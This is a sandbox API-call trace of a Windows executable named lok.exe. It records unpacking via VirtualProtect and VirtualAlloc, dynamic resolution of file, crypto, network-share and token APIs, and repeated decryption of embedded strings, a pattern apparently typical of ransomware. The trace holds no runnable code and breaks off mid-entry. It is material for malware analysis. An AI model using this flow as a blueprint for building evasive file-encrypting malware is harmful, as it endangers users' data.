GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.977] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.978] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.979] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.980] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0064.981] GetLastError () returned 0x0 [0067.105] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0067.106] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0067.106] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0067.116] VirtualProtect (in: lpAddress=0x2d05f0, dwSize=0x74f3, flNewProtect=0x40, lpflOldProtect=0x18e240 | out: lpflOldProtect=0x18e240*=0x4) returned 1 [0067.128] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0067.128] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalAlloc") returned 0x76d4588e [0067.128] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0067.128] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0067.128] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0067.129] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0067.129] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9 [0067.129] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0067.129] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x4c [0067.131] Module32First (hSnapshot=0x4c, lpme=0x18f440) returned 1 [0067.132] VirtualAlloc (lpAddress=0x0, dwSize=0xa050, flAllocationType=0x1000, flProtect=0x40) returned 0x20000 [0067.134] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0067.134] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0067.134] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0067.134] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0067.134] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0067.134] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519 [0067.134] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0067.134] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0067.134] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0067.134] SetErrorMode (uMode=0x400) returned 0x0 [0067.134] SetErrorMode (uMode=0x0) returned 0x400 [0067.134] GetVersionExA (in: lpVersionInformation=0x18e370*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}Çw") | out: lpVersionInformation=0x18e370*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0067.134] VirtualAlloc (lpAddress=0x0, dwSize=0x9200, flAllocationType=0x1000, flProtect=0x4) returned 0x30000 [0067.135] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1d000, flNewProtect=0x40, lpflOldProtect=0x18f3f8 | out: lpflOldProtect=0x18f3f8*=0x2) returned 1 [0067.147] VirtualFree (lpAddress=0x30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.147] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75660000 [0067.150] GetProcAddress (hModule=0x75660000, lpProcName="WNetEnumResourceW") returned 0x75663058 [0067.150] GetProcAddress (hModule=0x75660000, lpProcName="WNetOpenEnumW") returned 0x75662f06 [0067.150] GetProcAddress (hModule=0x75660000, lpProcName="WNetCloseEnum") returned 0x75662dd6 [0067.150] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76d30000 [0067.150] GetProcAddress (hModule=0x76d30000, lpProcName="DeviceIoControl") returned 0x76d4322f [0067.150] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForMultipleObjects") returned 0x76d44220 [0067.150] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0067.150] GetProcAddress (hModule=0x76d30000, lpProcName="GetVolumeInformationW") returned 0x76d5c860 [0067.151] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0067.151] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0067.151] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0067.151] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0067.151] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0067.151] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0067.151] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0067.151] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0067.151] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileAttributesW") returned 0x76d5d4f7 [0067.151] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0067.151] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0067.151] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0067.151] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0067.151] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0067.152] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0067.152] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0067.152] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0067.152] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileType") returned 0x76d43531 [0067.152] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleA") returned 0x76d41245 [0067.152] GetProcAddress (hModule=0x76d30000, lpProcName="DuplicateHandle") returned 0x76d41886 [0067.152] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0067.152] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0067.152] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0067.152] GetProcAddress (hModule=0x76d30000, lpProcName="CreatePipe") returned 0x76dc415b [0067.152] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0067.152] GetProcAddress (hModule=0x76d30000, lpProcName="PeekNamedPipe") returned 0x76dc4821 [0067.152] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0067.153] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemWindowsDirectoryW") returned 0x76d45213 [0067.153] GetProcAddress (hModule=0x76d30000, lpProcName="SetHandleInformation") returned 0x76d5195c [0067.153] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoW") returned 0x76d43c42 [0067.153] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0067.153] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0067.153] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0067.153] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexA") returned 0x76d44c6b [0067.153] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0067.153] GetProcAddress (hModule=0x76d30000, lpProcName="CreateDirectoryW") returned 0x76d44259 [0067.153] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0067.153] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0067.153] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0067.153] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0067.195] GetProcAddress (hModule=0x76d30000, lpProcName="GetDriveTypeW") returned 0x76d4418b [0067.195] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0067.195] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0067.195] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0067.195] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0067.196] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0067.196] GetProcAddress (hModule=0x76d30000, lpProcName="GetExitCodeProcess") returned 0x76d5174d [0067.196] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0067.196] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSection") returned 0x77c72c42 [0067.196] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentVariableW") returned 0x76d41b48 [0067.196] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77130000 [0067.238] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfW") returned 0x7716e061 [0067.238] GetProcAddress (hModule=0x77130000, lpProcName="GetShellWindow") returned 0x7716e8a8 [0067.238] GetProcAddress (hModule=0x77130000, lpProcName="GetWindowThreadProcessId") returned 0x771491b4 [0067.238] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfA") returned 0x7715ae5f [0067.238] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77710000 [0067.238] GetProcAddress (hModule=0x77710000, lpProcName="CryptDestroyKey") returned 0x7771c51a [0067.238] GetProcAddress (hModule=0x77710000, lpProcName="CryptEncrypt") returned 0x7773779b [0067.238] GetProcAddress (hModule=0x77710000, lpProcName="CryptImportKey") returned 0x7771c532 [0067.239] GetProcAddress (hModule=0x77710000, lpProcName="CryptGenRandom") returned 0x7771dfc8 [0067.239] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextW") returned 0x7771df14 [0067.239] GetProcAddress (hModule=0x77710000, lpProcName="CryptDecrypt") returned 0x77753178 [0067.239] GetProcAddress (hModule=0x77710000, lpProcName="OpenProcessToken") returned 0x77724304 [0067.239] GetProcAddress (hModule=0x77710000, lpProcName="GetTokenInformation") returned 0x7772431c [0067.239] GetProcAddress (hModule=0x77710000, lpProcName="SetTokenInformation") returned 0x77719a92 [0067.239] GetProcAddress (hModule=0x77710000, lpProcName="RegCreateKeyExW") returned 0x777240fe [0067.239] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0067.239] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0067.240] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0067.240] GetProcAddress (hModule=0x77710000, lpProcName="DuplicateTokenEx") returned 0x7771ca24 [0067.240] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExA") returned 0x777248ef [0067.240] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExA") returned 0x77724907 [0067.240] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124 [0067.240] GetProcAddress (hModule=0x77710000, lpProcName="CryptSetKeyParam") returned 0x777377b3 [0067.240] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x759d0000 [0067.335] GetProcAddress (hModule=0x759d0000, lpProcName=0x2a8) returned 0x75a244f5 [0067.335] GetProcAddress (hModule=0x759d0000, lpProcName="CommandLineToArgvW") returned 0x759e9ee8 [0067.335] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetSpecialFolderPathW") returned 0x759f0468 [0067.335] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x755a0000 [0067.341] GetProcAddress (hModule=0x755a0000, lpProcName="atexit") returned 0x755bc544 [0067.342] atexit (param_1=0x20920) returned 0 [0067.343] GetVersion () returned 0x1db10106 [0067.343] GetCurrentProcess () returned 0xffffffff [0067.343] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x18f40c | out: TokenHandle=0x18f40c*=0x8c) returned 1 [0067.669] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18f410, TokenInformationLength=0x4, ReturnLength=0x18f414 | out: TokenInformation=0x18f410, ReturnLength=0x18f414) returned 1 [0067.669] CloseHandle (hObject=0x8c) returned 1 [0067.669] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" n2916" [0067.669] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" n2916", pNumArgs=0x18f414 | out: pNumArgs=0x18f414) returned 0x2d98f0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe" [0067.671] GetProcessHeap () returned 0x2c0000 [0067.671] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1) returned 0x2d7ba0 [0067.671] GetProcessHeap () returned 0x2c0000 [0067.671] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x2c) returned 0x2d8aa8 [0067.672] CryptAcquireContextW (in: phProv=0x2d8aa8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x2d8aa8*=0x2dc228) returned 1 [0068.047] GetProcessHeap () returned 0x2c0000 [0068.047] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xa0) returned 0x2dd270 [0068.047] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f388, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2dc160) returned 1 [0068.048] CryptDecrypt (in: hKey=0x2dc160, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2dd270, pdwDataLen=0x2d8ad0 | out: pbData=0x2dd270, pdwDataLen=0x2d8ad0) returned 1 [0068.048] CryptDestroyKey (hKey=0x2dc160) returned 1 [0068.048] GetSystemWindowsDirectoryW (in: lpBuffer=0x418018, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0068.048] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x418220, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lok.exe")) returned 0x2d [0068.049] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x419220, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0068.060] GetProcessHeap () returned 0x2c0000 [0068.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2dc190 [0068.060] GetProcessHeap () returned 0x2c0000 [0068.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2dda40 [0068.060] GetProcessHeap () returned 0x2c0000 [0068.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x20) returned 0x2dc768 [0068.060] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2dde98) returned 1 [0068.060] CryptDecrypt (in: hKey=0x2dde98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2dc768, pdwDataLen=0x18f3f8 | out: pbData=0x2dc768, pdwDataLen=0x18f3f8) returned 1 [0068.060] CryptDestroyKey (hKey=0x2dde98) returned 1 [0068.060] GetProcessHeap () returned 0x2c0000 [0068.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x20) returned 0x2dc790 [0068.060] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2dde98) returned 1 [0068.060] CryptDecrypt (in: hKey=0x2dde98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2dc790, pdwDataLen=0x18f3f8 | out: pbData=0x2dc790, pdwDataLen=0x18f3f8) returned 1 [0068.060] CryptDestroyKey (hKey=0x2dde98) returned 1 [0068.060] GetProcessHeap () returned 0x2c0000 [0068.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x40) returned 0x2de090 [0068.060] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2dde98) returned 1 [0068.060] CryptDecrypt (in: hKey=0x2dde98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2de090, pdwDataLen=0x18f3f8 | out: pbData=0x2de090, pdwDataLen=0x18f3f8) returned 1 [0068.060] CryptDestroyKey (hKey=0x2dde98) returned 1 [0068.060] GetProcessHeap () returned 0x2c0000 [0068.060] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x80) returned 0x2de0d8 [0068.060] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2dde98) returned 1 [0068.061] CryptDecrypt (in: hKey=0x2dde98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2de0d8, pdwDataLen=0x18f3fc | out: pbData=0x2de0d8, pdwDataLen=0x18f3fc) returned 1 [0068.061] CryptDestroyKey (hKey=0x2dde98) returned 1 [0068.061] GetProcessHeap () returned 0x2c0000 [0068.061] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x14) returned 0x2dde98 [0068.061] GetProcessHeap () returned 0x2c0000 [0068.061] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xd) returned 0x2dda58 [0068.061] GetProcessHeap () returned 0x2c0000 [0068.061] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1f) returned 0x2dc7b8 [0068.061] GetProcessHeap () returned 0x2c0000 [0068.061] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1e) returned 0x2dc7e0 [0068.061] GetProcessHeap () returned 0x2c0000 [0068.061] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xd) returned 0x2dda70 [0068.061] GetProcessHeap () returned 0x2c0000 [0068.061] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x2ddeb8 [0068.061] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0068.061] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0068.062] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0068.062] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76d5d668 [0068.062] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77710000 [0068.062] GetProcAddress (hModule=0x77710000, lpProcName="CreateProcessWithTokenW") returned 0x7775531f [0068.062] GetProcessHeap () returned 0x2c0000 [0068.062] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de0d8 | out: hHeap=0x2c0000) returned 1 [0068.063] GetProcessHeap () returned 0x2c0000 [0068.063] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dda58 | out: hHeap=0x2c0000) returned 1 [0068.063] GetProcessHeap () returned 0x2c0000 [0068.063] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc7b8 | out: hHeap=0x2c0000) returned 1 [0068.063] GetProcessHeap () returned 0x2c0000 [0068.063] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc7e0 | out: hHeap=0x2c0000) returned 1 [0068.063] GetProcessHeap () returned 0x2c0000 [0068.063] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dda70 | out: hHeap=0x2c0000) returned 1 [0068.063] GetProcessHeap () returned 0x2c0000 [0068.063] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddeb8 | out: hHeap=0x2c0000) returned 1 [0068.063] GetProcessHeap () returned 0x2c0000 [0068.063] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dde98 | out: hHeap=0x2c0000) returned 1 [0068.063] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x18f3e8, cchData=32 | out: lpLCData="\x03") returned 16 [0068.064] GetProcessHeap () returned 0x2c0000 [0068.064] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4) returned 0x2dc2b0 [0068.064] GetProcessHeap () returned 0x2c0000 [0068.064] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xa0) returned 0x2de0d8 [0068.064] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2dde98) returned 1 [0068.064] CryptDecrypt (in: hKey=0x2dde98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2de0d8, pdwDataLen=0x18f3d8 | out: pbData=0x2de0d8, pdwDataLen=0x18f3d8) returned 1 [0068.064] CryptDestroyKey (hKey=0x2dde98) returned 1 [0068.064] GetProcessHeap () returned 0x2c0000 [0068.064] 